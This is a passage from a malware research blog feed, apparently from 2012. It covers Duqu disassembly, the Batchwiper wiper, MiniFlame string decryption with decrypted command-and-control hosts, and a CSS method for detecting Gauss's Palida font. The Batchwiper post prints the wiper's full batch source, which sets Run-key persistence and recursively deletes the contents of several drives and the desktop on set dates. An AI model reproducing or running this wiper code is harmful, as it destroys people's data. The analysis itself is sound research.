.text:10001254                 imul    edx, 28h        ; each section entry in section table- 40 byte<br />
.text:10001257                 add     edx, ecx<br />
.text:10001259                 lea     edi, [esi+edx-38h] ; the section before the last section (zdata) + offset<br />
.text:1000125D                 test    edi, edi<br />
.text:1000125F                 jz      short loc_100012CD<br />
.text:10001261                 cmp     dword ptr [edi+1Ch], 0BC395587h ; zdata magic PE Header  NumberOfRelocations is abused<br />
.text:10001268                 jnz     short loc_100012CD<br />
.text:1000126A                 cmp     dword ptr [edi+8], 2Ch ; some check on physical size<br />
.text:1000126E                 jb      short loc_100012CD</code></p>
<p>As you can see, it calculates the exact place for the end of the section table then moves back to the entry before the last (this  is .zdata info). Then it checks for a magic number 0xBC395587  which is stored in &#8220;NumberOfReloctions&#8221; value.</p>
<p>.text:10001270                 mov     esi, [edi+0Ch]<br />
.text:10001273                 add     esi, eax<br />
.text:10001275                 cmp     dword ptr [esi], 0D139120Eh<br />
.text:1000127B                 jnz     short loc_100012CD</p>
<p>Finally it checks the first 4 bytes of the .zdata section against 0xD139120e.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2012%2F12%2Fhow-duqu-resrouce-302-finds-the-zdata-section%2F&amp;title=How%20Duqu%20resource%20302%20finds%20the%20.zdata%20section" id="wpa2a_12"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2012/12/how-duqu-resrouce-302-finds-the-zdata-section/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>#Batchwiper &#8211; Batchwiper malware (target:Iran)</title>
		<link>http://blog.crysys.hu/2012/12/batchwiper/</link>
		<comments>http://blog.crysys.hu/2012/12/batchwiper/#comments</comments>
		<pubDate>Sun, 16 Dec 2012 19:42:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=252</guid>
		<description><![CDATA[Iranian CERT Maher just posted http://www.certcc.ir/index.php?name=news&#038;file=article&#038;sid=2293 &#8221; Latest investigation have been done by Maher center in cyber space identified a new targeted data wiping malware. Primitive analysis revealed that this malware wipes files on different drives in various predefined times. Despite its simplicity in design, the malware is efficient and can wipe disk partitions and <a href='http://blog.crysys.hu/2012/12/batchwiper/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>Iranian CERT Maher just posted <a href="http://www.certcc.ir/index.php?name=news&#038;file=article&#038;sid=2293">http://www.certcc.ir/index.php?name=news&#038;file=article&#038;sid=2293</a></p>
<p>&#8221;<br />
Latest investigation have been done by Maher center in cyber space identified a new targeted data wiping malware. Primitive analysis revealed that this malware wipes files on different drives in various predefined times. Despite its simplicity in design, the malware is efficient and can wipe disk partitions and user profile directories without being recognized by anti-virus software. However, it is not considered to be widely distributed. This targeted attack is simple in design and it is not any similarity to the other sophisticated targeted attacks. The identified components of this threat are listed in the following table&#8221;&#8230;</p>
<p>As it happens quite some time, the malware itself seems not to be much of interest, but the possible targets and the way they probably used it makes it more into attention. So don&#8217;t judge too early about the lameness of such tool, it can still pinpoint an important action.</p>
<p>The main file,  GrooveMonitor.exe  is a self-extracting file, it contains a rar file at position 103936. The rar contains juboot, jucheck and sleep.</p>
<p>MD5<br />
GrooveMonitor.exe [dropper] f3dd76477e16e26571f8c64a7fd4a9<br />
juboot.exe fa0b300e671f73b3b0f7f415ccbe9d41<br />
jucheck.exe c4cd216112cbc5b8c046934843c579f6<br />
SLEEP.EXE ea7ed6b50a9f7b31caeea372a327bd37<br />
WmiPrv.exe b7117b5d8281acd56648c9d08fadf630</p>
<p>Sleep.exe is basically a public tool available for batch programmers:<br />
 <a href="ftp://ftp.sac.sk/pub/sac/utiltask/sleep_47.">ftp://ftp.sac.sk/pub/sac/utiltask/sleep_47.</a>zip </p>
<p>juboot is a UPX 3.03 compressed archive of a probably bat2exe converted file (not checked what exactly) (very low on budget to write batch malware?), that contains these:</p>
<p><code>"<br />
 @echo off &#038; setlocal<br />
 sleep for 2<br />
 REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v jucheck.exe /t REG_SZ /d "%systemroot%\system32\jucheck.exe" /f</p>
<p> start "" /D"%systemroot%\system32\" "jucheck.exe"<br />
"</code></p>
<p> PADjuboot.batPA&#8230;</p>
<p>jucheck contains<br />
<code>"<br />
@echo off &#038; setlocal</p>
<p> sleep for 2<br />
 del "%systemroot%\system32\juboot.exe" /q /s /f<br />
 del "%userprofile%\Start Menu\Programs\Startup\GrooveMonitor.exe" /q /s /f</p>
<p> if "%date%"=="Mon 12/10/2012" goto yes<br />
 if "%date%"=="Tue 12/11/2012" goto yes<br />
 if "%date%"=="Wed 12/12/2012" goto yes</p>
<p> if "%date%"=="Mon 01/21/2013" goto yes<br />
 if "%date%"=="Tue 01/22/2013" goto yes<br />
 if "%date%"=="Wed 01/23/2013" goto yes</p>
<p> if "%date%"=="Mon 05/06/2013" goto yes<br />
 if "%date%"=="Tue 05/07/2013" goto yes<br />
 if "%date%"=="Wed 05/08/2013" goto yes</p>
<p> if "%date%"=="Mon 07/22/2013" goto yes<br />
 if "%date%"=="Tue 07/23/2013" goto yes<br />
 if "%date%"=="Wed 07/24/2013" goto yes</p>
<p> if "%date%"=="Mon 11/11/2013" goto yes<br />
 if "%date%"=="Tue 11/12/2013" goto yes<br />
 if "%date%"=="Wed 11/13/2013" goto yes</p>
<p> if "%date%"=="Mon 02/03/2014" goto yes<br />
 if "%date%"=="Tue 02/04/2014" goto yes<br />
 if "%date%"=="Wed 02/05/2014" goto yes</p>
<p> if "%date%"=="Mon 05/05/2014" goto yes<br />
 if "%date%"=="Tue 05/06/2014" goto yes<br />
 if "%date%"=="Wed 05/07/2014" goto yes</p>
<p> if "%date%"=="Mon 08/11/2014" goto yes<br />
 if "%date%"=="Tue 08/12/2014" goto yes<br />
 if "%date%"=="Wed 08/13/2014" goto yes</p>
<p> if "%date%"=="Mon 02/02/2015" goto yes<br />
 if "%date%"=="Tue 02/03/2015" goto yes<br />
 if "%date%"=="Wed 02/04/2015" goto yes<br />
goto no</p>
<p>:yes</p>
<p>sleep for 3000<br />
IF EXIST d:\ del "d:\*.*" /q /s /f<br />
IF EXIST d:\ Chkdsk d:<br />
IF EXIST e:\ del "e:\*.*" /q /s /f<br />
IF EXIST e:\ Chkdsk e:<br />
IF EXIST f:\ del "f:\*.*" /q /s /f<br />
IF EXIST f:\ Chkdsk f:<br />
IF EXIST g:\ del "g:\*.*" /q /s /f<br />
IF EXIST g:\ Chkdsk g:<br />
IF EXIST h:\ del "h:\*.*" /q /s /f<br />
IF EXIST h:\ Chkdsk h:<br />
IF EXIST i:\ del "i:\*.*" /q /s /f<br />
IF EXIST i:\ Chkdsk i:</p>
<p>del "%userprofile%\Desktop\*.*" /q /s /f<br />
\\start calc</p>
<p>:no<br />
PAjucheck.batP☺<br />
"</code></p>
<p>Still the questions are<br />
a.) What is the dropper<br />
b.) Is it surely an important attack, no matter how amateur the tools are?</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2012%2F12%2Fbatchwiper%2F&amp;title=%23Batchwiper%20%E2%80%93%20Batchwiper%20malware%20%28target%3AIran%29" id="wpa2a_14"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2012/12/batchwiper/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SPE/MiniFlame</title>
		<link>http://blog.crysys.hu/2012/10/speminiflame/</link>
		<comments>http://blog.crysys.hu/2012/10/speminiflame/#comments</comments>
		<pubDate>Tue, 16 Oct 2012 20:34:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=240</guid>
		<description><![CDATA[SPE/MiniFlame contains the same &#8220;main&#8221; encryption alg from ver 4.00-5.00 It looks like this: .text:10007DDE Decrypt_str_10007DDE proc near ; CODE XREF: sub_10001223+5p .text:10007DDE ; sub_10001223+16p ... .text:10007DDE .text:10007DDE arg_0 = dword ptr 4 .text:10007DDE .text:10007DDE mov ecx, [esp+arg_0] .text:10007DE2 push esi .text:10007DE3 cmp byte ptr [ecx+0Ch], 42h .text:10007DE7 lea esi, [ecx+0Dh] .text:10007DEA jnz short loc_10007DF0 <a href='http://blog.crysys.hu/2012/10/speminiflame/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>SPE/MiniFlame contains the same &#8220;main&#8221; encryption alg from ver 4.00-5.00</p>
<p>It looks like this:<br />
<code>.text:10007DDE Decrypt_str_10007DDE proc near          ; CODE XREF: sub_10001223+5p<br />
.text:10007DDE                                         ; sub_10001223+16p ...<br />
.text:10007DDE<br />
.text:10007DDE arg_0           = dword ptr  4<br />
.text:10007DDE<br />
.text:10007DDE                 mov     ecx, [esp+arg_0]<br />
.text:10007DE2                 push    esi<br />
.text:10007DE3                 cmp     byte ptr [ecx+0Ch], 42h<br />
.text:10007DE7                 lea     esi, [ecx+0Dh]<br />
.text:10007DEA                 jnz     short loc_10007DF0<br />
.text:10007DEC                 mov     eax, esi<br />
.text:10007DEE                 pop     esi<br />
.text:10007DEF                 retn<br />
.text:10007DF0 ; ---------------------------------------------------------------------------<br />
.text:10007DF0<br />
.text:10007DF0 loc_10007DF0:                           ; CODE XREF: Decrypt_str_10007DDE+Cj<br />
.text:10007DF0                 push    ebx<br />
.text:10007DF1                 xor     ebx, ebx<br />
.text:10007DF3                 xor     edx, edx<br />
.text:10007DF5                 cmp     [ecx+0Ah], bx<br />
.text:10007DF9                 jbe     short loc_10007E16<br />
.text:10007DFB<br />
.text:10007DFB loc_10007DFB:                           ; CODE XREF: Decrypt_str_10007DDE+36j<br />
.text:10007DFB                 mov     al, dl<br />
.text:10007DFD                 add     al, 6Eh<br />
.text:10007DFF                 imul    bl<br />
.text:10007E01                 mov     bl, 0C2h<br />
.text:10007E03                 sub     bl, al<br />
.text:10007E05                 sub     bl, dl<br />
.text:10007E07                 add     [edx+esi], bl<br />
.text:10007E0A                 mov     bl, [edx+esi]<br />
.text:10007E0D                 movzx   eax, word ptr [ecx+0Ah]<br />
.text:10007E11                 inc     edx<br />
.text:10007E12                 cmp     edx, eax<br />
.text:10007E14                 jb      short loc_10007DFB<br />
.text:10007E16<br />
.text:10007E16 loc_10007E16:                           ; CODE XREF: Decrypt_str_10007DDE+1Bj<br />
.text:10007E16                 mov     eax, esi<br />
.text:10007E18                 pop     ebx<br />
.text:10007E19                 mov     byte ptr [ecx+0Ch], 42h<br />
.text:10007E1D                 pop     esi<br />
.text:10007E1E                 retn<br />
.text:10007E1E Decrypt_str_10007DDE endp<br />
.text:10007E1E<br />
.text:10007E1F<br />
.text:10007E1F ; =============== S U B R O U T I N E =======================================<br />
.text:10007E1F<br />
.text:10007E1F<br />
.text:10007E1F srand_10007E1F  proc near               ; CODE XREF: sub_10003377+Dp<br />
.text:10007E1F                 push    0               ; Time<br />
.text:10007E21                 call    ds:time<br />
.text:10007E27                 push    eax             ; Seed<br />
.text:10007E28                 call    ds:srand<br />
.text:10007E2E                 pop     ecx<br />
.text:10007E2F                 pop     ecx<br />
.text:10007E30                 retn<br />
.text:10007E30 srand_10007E1F  endp<br />
.text:10007E30<br />
</code></p>
<p>basically the structure is of a stream-cipher, where the generated key is not XORd, but ADDed to the encrypted byte to be decrypted. This is very similar to flame. <code>dl</code> is a counter, so the main thing is <code>bl</code> and the imul function. It&#8217;s not that complicated or novel, but still interesting.</p>
<p>It&#8217;s a bit strange, as the encrypted string table basically consists of some 3-tuple elements, and only the middle on is encrypted by the code above. It is similar, but not that similar to other Duqu or Flame encryption technique.</p>
<p>Here is some perl code to make a simple decryptor:</p>
<p><code><br />
#tobedecrypted:$t<br />
$al=$dl;<br />
$al= ($al+ 0x6e)%256;<br />
$ax=$al*$bl % 65536; #imul bl?<br />
$al=$ax % 256;<br />
$bl= 0xc2;<br />
$bl= ($bl -$al) %256;<br />
$bl= ($bl -$dl) %256;<br />
$t2= ($t+$bl) %256;<br />
$bl= $t2;<br />
$dl= ($dl+1) %256; #in fact dx, but dh is not used only as loop variable</p>
<p>$bufall2.=pack("C",$t2);<br />
$i+=1;<br />
if ($new==1)<br />
{<br />
$bl=0;<br />
$dl=0;<br />
}<br />
#output buffer: $bufall2</code></p>
<p>So after all, we can decrypt main strings. This encryption technique was not changed between 4.00-5.00 versions and also relates to USB (U) versions, too.</p>
<p>For v5.00 we get the following strings</p>
<p><code><br />
bdagent.exe<br />
%yJ^<br />
outpost.exe<br />
`icsvnt32a.ocx<br />
 Global\AdvTW32Ready500WfEvent<br />
8Global\AdvTW32SyncEvent<br />
lnkfile\shellex\IconHandler<br />
{00021401-0000-0000-C000-000000000046}<br />
dgfw<br />
(icsvnt32.ocx<br />
%windir%\system32\<br />
%allusersprofile%\<br />
msfrmt32.dll<br />
gGlobal\ShellTRPInitEvent<br />
Global\AdvTW32AutoDetect<br />
8Global\MICEvent<br />
(Global\TUSEvent<br />
L1*-*--<br />
Global\ShlZoneSynchMutex<br />
vbtLw<br />
%allusersprofile%\mstlis.log<br />
 4|k<br />
Iphlpapi.dll<br />
Ws2_32.dll<br />
\SS_data.bmp.ppm<br />
%temp%\tksp1.tmp<br />
W%temp%\tksp2.tmp<br />
%temp%\tksp3.tmp<br />
W%temp%\tksp4.tmp<br />
%temp%\tksp7.tmp<br />
%temp%\tksp8.tmp<br />
]ContLo.txt<br />
Cont.txt<br />
#ChannelD.txt<br />
ChannelC.txt<br />
ChannelB.txt<br />
[ChannelA.txt<br />
zFIONA<br />
nSONIA<br />
) Ti<br />
hELVIS<br />
0EVE<br />
JC,B<br />
DRAKE<br />
xCHARLES<br />
ALEX<br />
BARBARA<br />
tTIFFANY<br />
pEOC<br />
(<ERR><br />
P%allusersprofile%\datFE2B.da1<br />
%temp%\daa59.tmp<br />
Q%windir%\system32\msfrmt32.dll<br />
FiV=.<br />
DllStartServer<br />
P)mVu<br />
jDllSto<br />
77?'<br />
lk_data.txt<br />
%^no<br />
>inet_addr<br />
inet_ntoa<br />
htonl<br />
ntohs<br />
htons<br />
GetAdaptersInfo<br />
OGetBestInterface<br />
RearWindow detected no activity since delta started, maybe no one logged in?.<br />
+*#PFl+<br />
RearWindow failed.<br />
RearWindow throw an exception.<br />
function returned:<br />
BARBAR<br />
BARBAR<br />
Alex ends. Result is:<br />
Alex Starts<br />
Sam ends. Result is:<br />
nH,1<br />
Sam Starts<br />
9Yg3d<br />
Charles ends. Result is:<br />
Charles Starts<br />
Drake ends. Result is:<br />
Drake Starts<br />
tW`O8<br />
Elvis ends. Result is:<br />
Elvis Starts<br />
Eve ends. Result is:<br />
Eve Starts<br />
Sonia ends. Result is:<br />
=1g3<br />
Sonia Starts<br />
'W~~<br />
Fiona ends. Result is:<br />
)OOQ<br />
Fiona Starts<br />
S{+w\<br />
h&#038;K=<br />
{%mk<br />
$&#038;FILE_NAME=<br />
&#038;ACTION=<br />
&#038;COMP_ID=<br />
@&#038;LOGGED_ON=<br />
&#038;SEC_COUNT=<br />
&#038;SUC_CMD_ATTEMPTS=<br />
&#038;CMD_ATTEMPTS=<br />
`&#038;COMPUTER_NAME=<br />
P&#038;MAC=<br />
(&#038;IP=<br />
&#038;SERVICE_PACK=<br />
&#038;VERSION_INFO=<br />
+&#038;LI=<br />
&#038;COM_B=<br />
SP v5.00H<br />
@&#038;TOOL_B=<br />
Rdw^,Q<br />
h0T^<br />
&#038;PASSWORD=<br />
@&#038;n8<br />
UNIQUE_NUMBER=<br />
jIQ:<br />
85.25.0.24<br />
LifeS<br />
Q194.192.14.125<br />
Grendercodec.info<br />
videosy<br />
nvidiastream.info<br />
nvidiadrivers.i<br />
202.75.58.179<br />
nvidiasoft.info<br />
syncstream.info<br />
xflashupdates.info<br />
/cgi-bin/counter.cgi<br />
KSYSTEM\CurrentControlSet\Control\TimeZoneInformation<br />
+!XQ<br />
StandardTimeBias<br />
StandardDateBias<br />
SYSTEM\CurrentControlSet\Hardware Profiles\Current\Software\Fonts<br />
PixelShader<br />
advapi32.dll<br />
Global\TRStepEvent<br />
aah/x<br />
sGlobal\MSTKCSrvEvent<br />
vqL7<br />
%allusersprofile%\icsvntu32.ocx<br />
oC7g<br />
Global\ShlZoneDataMutex<br />
SYSTEM<br />
svchost.exe<br />
TRegNotifyChangeKeyVa<br />
"'F/<br />
explorer<br />
KSOFTWARE\Classes\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}\InProcServer32<br />
SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\InProcServer32<br />
mydocs.dll<br />
SOFTWARE\Classes\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}\InprocServer32<br />
SOFTWARE\Classes\CLSID\{4E14FBA2-2E22-11D1-9964-00C04FBBB345}\InprocServer32<br />
%windir%\System32\es.dll<br />
MACHINE\SOFTWARE\Classes\CLSID\{4E14FBA2-2E22-11D1-9964-00C04FBBB345}\InprocServer32<br />
DllUnregisterServer<br />
DllRegisterServer<br />
DllGetClassObject<br />
%a+8@9<br />
DllCanUnloadNow<br />
LSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon<br />
PDefaultUserName<br />
6Dq6<br />
hNUL=<br />
kernel32.dll<br />
t_b|&#038;<br />
uGetIfTable<br />
+iphlpapi.dll<br />
shlwapi.dll<br />
0PathS<br />
?A5!<br />
RevertToSelf<br />
ImpersonateLoggedOnUser<br />
X$U-<br />
RegOverridePredefKey<br />
RegOpenCurrentUser<br />
OpenProcessToken<br />
LoadLibraryA<br />
cVirtualAlloc<br />
VirtualFree<br />
VirtualProtect<br />
)GetProcAddress<br />
%allusersprofile%\Wnm.tmp<br />
ProxyOverride<br />
ProxyServer<br />
ProxyEnable<br />
0Software\Microsoft\Windows\CurrentVersion\Internet Settings<br />
www.google.com<br />
0Deskto<br />
@Onenotem.exe<br />
&#038;?G?<br />
Onenote.exe<br />
paltalk.exe<br />
mmc.exe<br />
d&#038;|$us<br />
mstsc.exe<br />
ypager.exe<br />
visio.exe<br />
TE$o<br />
powerpnt.exe<br />
winproj.exe<br />
k (c><br />
notepad.exe<br />
netscape.exe<br />
putty.exe<br />
ftp.exe<br />
telnet.exe<br />
%exceed.exe<br />
H`vS<br />
sinetinfo.exe<br />
icqlite.exe<br />
icq.exe<br />
@frontpage.exe<br />
aim95.exe<br />
(aim.exe<br />
acrord32.exe<br />
|acrobat.exe<br />
Cygwin.exe<br />
msdev.exe<br />
xmsnmsgr.exe<br />
msgplus.exe<br />
hmsmsgs.exe<br />
excel.exe<br />
HWINWORD.exe<br />
msimn.exe<br />
OUTLOOK.exe<br />
Mozilla.exe<br />
firefox.exe<br />
iexplore.exe<br />
</code></p>
<p>We did not cross-check it, but strange that it&#8217;s BARBAR here and not BARBARA (might be the fault of the decryptor).<br />
The more interesting is that everybody was so interested in the language of recent targeted malware (Duqu, Flame, Gauss) and we could not get much &#8220;language mistakes&#8221; in those cases. Compared to that this is strange:</p>
<p><code><br />
Alex ends. Result is:<br />
Alex Starts<br />
</code></p>
<p>&#8220;Result is&#8221; is strange. &#8220;Starts&#8221; with capital S (for all functions, and all knows versions of the malware) is also strange.</p>
<p>
&#8220;RearWindow throw an exception.&#8221; &#8211; throw or throws? surely strange. This type of error was never convicted in Duqu and Flame or we were not able to find such yet.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2012%2F10%2Fspeminiflame%2F&amp;title=SPE%2FMiniFlame" id="wpa2a_16"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2012/10/speminiflame/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Palida Narrow vs. Lucida Bright</title>
		<link>http://blog.crysys.hu/2012/08/palida-narrow-vs-lucida-bright/</link>
		<comments>http://blog.crysys.hu/2012/08/palida-narrow-vs-lucida-bright/#comments</comments>
		<pubDate>Thu, 09 Aug 2012 23:21:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=233</guid>
		<description><![CDATA[It seems Gauss samples already started to float around, so some more info on Palida is not a surprise anymore. Palida Narrow header info: 'head' Table - Font Header -------------------------- Size = 54 bytes (expecting 54 bytes) 'head' version: 1.0 fontRevision: 1.1 checkSumAdjustment: 0xC5C64B82 magicNumber: 0x5F0F3CF5 flags: 0x001B- baseline(y)=0 - lsb(x)=0 - int ppem - <a href='http://blog.crysys.hu/2012/08/palida-narrow-vs-lucida-bright/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>It seems Gauss samples already started to float around, so some more info on Palida is not a surprise anymore.</p>
<p>Palida Narrow header info:<br />
<code><br />
'head' Table - Font Header<br />
--------------------------<br />
Size = 54 bytes (expecting 54 bytes)<br />
  'head' version:      1.0<br />
  fontRevision:        1.1<br />
  checkSumAdjustment:  0xC5C64B82<br />
  magicNumber:         0x5F0F3CF5<br />
  flags:               0x001B- baseline(y)=0 - lsb(x)=0 - int ppem - nonlin aw<br />
  unitsPerEm:          2048<br />
  created:             Fri Jan 28 21:48:24 2000<br />
  modified:            Mon Dec 19 05:37:00 2011<br />
  xMin:                -579<br />
  yMin:                -804<br />
  xMax:                2298<br />
  yMax:                2033<br />
  macStyle bits:       0x0000<br />
  lowestRecPPEM:       12<br />
  fontDirectionHint:   1<br />
  indexToLocFormat:    0<br />
  glyphDataFormat:     0<br />
</code></p>
<p>Lucida Bright Regular header info:<br />
<code><br />
'head' Table - Font Header<br />
--------------------------<br />
Size = 54 bytes (expecting 54 bytes)<br />
  'head' version:      1.0<br />
  fontRevision:        1.1<br />
  checkSumAdjustment:  0x8A94C916<br />
  magicNumber:         0x5F0F3CF5<br />
  flags:               0x001B- baseline(y)=0 - lsb(x)=0 - int ppem - nonlin aw<br />
  unitsPerEm:          2048<br />
  created:             Fri Jan 28 19:13:11 2000<br />
  modified:            Tue Mar 13 23:02:32 2001<br />
  xMin:                -550<br />
  yMin:                -1530<br />
  xMax:                3314<br />
  yMax:                2419<br />
  macStyle bits:       0x0000<br />
  lowestRecPPEM:       12<br />
  fontDirectionHint:   1<br />
  indexToLocFormat:    1<br />
  glyphDataFormat:     0<br />
</code></p>
<p>You can see the similarity in creation date.<br />
The interesting thing is that Palida has 457 glyphs:<br />
<code><br />
'maxp' Table - Maximum Profile<br />
------------------------------<br />
Size = 32 bytes (expecting 32 bytes)<br />
        'maxp' version:           1.0<br />
        numGlyphs:              457<br />
</code><br />
from which some special characters are unusual</p>
<p><code><br />
        Glyf 440 -> PSGlyf Name # 192, name= 'dcaron1'<br />
        Glyf 441 -> PSGlyf Name # 193, name= 'Gcedilla1'<br />
        Glyf 442 -> PSGlyf Name # 194, name= 'gcedilla1'<br />
        Glyf 443 -> PSGlyf Name # 195, name= 'Kcedilla1'<br />
        Glyf 444 -> PSGlyf Name # 196, name= 'kcedilla1'<br />
        Glyf 445 -> PSGlyf Name # 197, name= 'Lcedilla1'<br />
        Glyf 446 -> PSGlyf Name # 198, name= 'lcedilla1'<br />
        Glyf 447 -> PSGlyf Name # 199, name= 'Lcaron1'<br />
        Glyf 448 -> PSGlyf Name # 200, name= 'lcaron1'<br />
        Glyf 449 -> PSGlyf Name # 201, name= 'Ncedilla1'<br />
        Glyf 450 -> PSGlyf Name # 202, name= 'ncedilla1'<br />
        Glyf 451 -> PSGlyf Name # 203, name= 'Rcedilla1'<br />
        Glyf 452 -> PSGlyf Name # 204, name= 'rcedilla1'<br />
</code></p>
<p>Or the fact the physics and math is so important that first glyphs are micro and Ohm.</p>
<p><code><br />
       -------------------------<br />
       PSGlyf Name #   1: micro<br />
       PSGlyf Name #   2: Ohm<br />
       PSGlyf Name #   3: increment<br />
       PSGlyf Name #   4: bulletmath<br />
       PSGlyf Name #   5: overscore<br />
       PSGlyf Name #   6: dmacron<br />
</code></p>
<p>One of the interesting glyphs is U+0104 also called Aogonek. First of all it exists mostly in CE fonts, second, it is a bit different from Lucida samples we checked. Check it yourself, too!</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.crysys.hu%2F2012%2F08%2Fpalida-narrow-vs-lucida-bright%2F&amp;title=Palida%20Narrow%20vs.%20Lucida%20Bright" id="wpa2a_18"><img src="http://blog.crysys.hu/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blog.crysys.hu/2012/08/palida-narrow-vs-lucida-bright/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On the Palida Narrow mystery of Gauss malware, and possible remote detection</title>
		<link>http://blog.crysys.hu/2012/08/on-the-palida-narrow-mystery-of-gauss-malware-and-possible-remote-detection/</link>
		<comments>http://blog.crysys.hu/2012/08/on-the-palida-narrow-mystery-of-gauss-malware-and-possible-remote-detection/#comments</comments>
		<pubDate>Thu, 09 Aug 2012 18:58:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.crysys.hu/?p=219</guid>
		<description><![CDATA[As you all know, Kaspersky Lab has just published a detailed tech report of the latest state-sponsored targeted threat named Gauss. So the story of Stuxnet, Duqu (found and named by us, CrySyS Lab ), Flame (yes, we had a detailed tech report on that, but we called it sKyWIper ) has not stopped here, <a href='http://blog.crysys.hu/2012/08/on-the-palida-narrow-mystery-of-gauss-malware-and-possible-remote-detection/' class='excerpt-more'>[...]</a>]]></description>
				<content:encoded><![CDATA[<p>As you all know, Kaspersky Lab has just published a <a href="http://www.securelist.com/en/downloads/vlpdfs/kaspersky-lab-gauss.pdf"> detailed tech report of the latest state-sponsored targeted threat named Gauss.<br />
</a></p>
<p>So the story of Stuxnet, Duqu (found and named by us, <a href="http://www.crysys.hu"> CrySyS Lab </a>), Flame (yes, we had a detailed tech report on that, but we called it <a href="http://www.crysys.hu/skywiper/skywiper.pdf"> sKyWIper </a>) has not stopped here, and as many said, we currently see only the tip of the iceberg.</p>
<p>So the big mystery of Gauss is why Palida Narrow, a modified font with fake copyright notice is installed on victim computers. It seems that no exploit, shellcode or nasty payload are inside. Most likely&#8230; Then why? Do they depend on Palida Narrow? Most likely not.</p>
<p>One possibility is that there are other components using Palida for some reasons. E.g., tricking with some characters on web pages to hide alerts, or similar, not really clear operations.</p>
<p>A very far-fetched idea is that Gauss uses the font for printed material. It actually tricks some parts of the system to substitute fonts with Palida, so any prints will contain Palida. Later, printed documents could be identified by looking on the tiny specialities of the font.</p>
<p>A third, and more probable idea is that Palida installation can be in fact detected remotely by web servers, thus the Palida installation is a marker to identify infected computers that visit some specially crafted web pages. We tell you how.</p>
<p>If you open a web page, it can contain a CSS style sheet link, that actually tells your browser how the text blocks should look like on the web page. This style sheet can in fact include references to font faces to be used. The font face definition can refer to a local font and a URL also (with some limitations) in order to get the necessary font face if it is not installed on your system.</p>
<p>Let&#8217;s consider the following part of the CSS file:</p>
<p><code><br />
@font-face {<br />
font-family: "Palida";<br />
src: local("Palida Narrow"),<br />
url("palida.ttf");<br />
}<br />
</code></p>
<p>This definition tells your browser to use Palida Narrow local font if available, if not, call back the webpage to download a copy.</p>
<p>This standard behavior of the browsers makes it possible to enumerate all the fonts that are installed in your system, but particularly to pinpoint if Palida Narrow is installed.</p>
<p>Considering this case, if the Palida is installed, your browser will simply use it for rendering the web page. If not, and only in that case, it will try to download palida.ttf. If there is no palida.ttf download on the web page, then you have Palida installed on the system.</p>
<p>However, there is a problem: what if palida.ttf was not downloaded as you have turned off the look up of remote fonts in your browser, or you use some special browser. Here is a solution: Let&#8217;s specify and use a surely non-existing font, like Crysysida:</p>
<p><code><br />
@font-face {<br />
font-family: "Crysysida";<br />
src:<br />
url("Crysysida.ttf");<br />
}<br />
</code></p>
<ul>
<li>If we have downloads for both Palida and Crysysida, then everything works great, and Palida is not installed</li>
<li>If we only see download for Crysysida, then Palida is installed on the system</li>
<li>Finally, if we see no downloads, then probably the user uses lynx or telnet to browse our webpage, or there are other circumstances that prevent the download of remote fonts.</li>
</ul>
<p>What we detailed here is not only a possible reason of Palida having been installed on infected systems, but also a detection method for infected computers. Actually, we created a <a href="http://gauss.crysys.hu">detection site of the Gauss malware by identifying Palida installations remotely</a>. The small test site is available at <a href="http://gauss.crysys.hu"> http://gauss.crysys.hu </a></p>
<p>Of course the method is not bullet-proof, but an easy alternative check for those, who cannot find the fonts menu in the windows control panel.</p>
<p>Final note:<br />
CrySyS Lab currently thinks, that Palida is actually a slightly modified Lucida Bright Narrow Demi Bold CE font, most likely from Bigelow and Holmes, made back in 2000, although we do not have such a sample.</p>
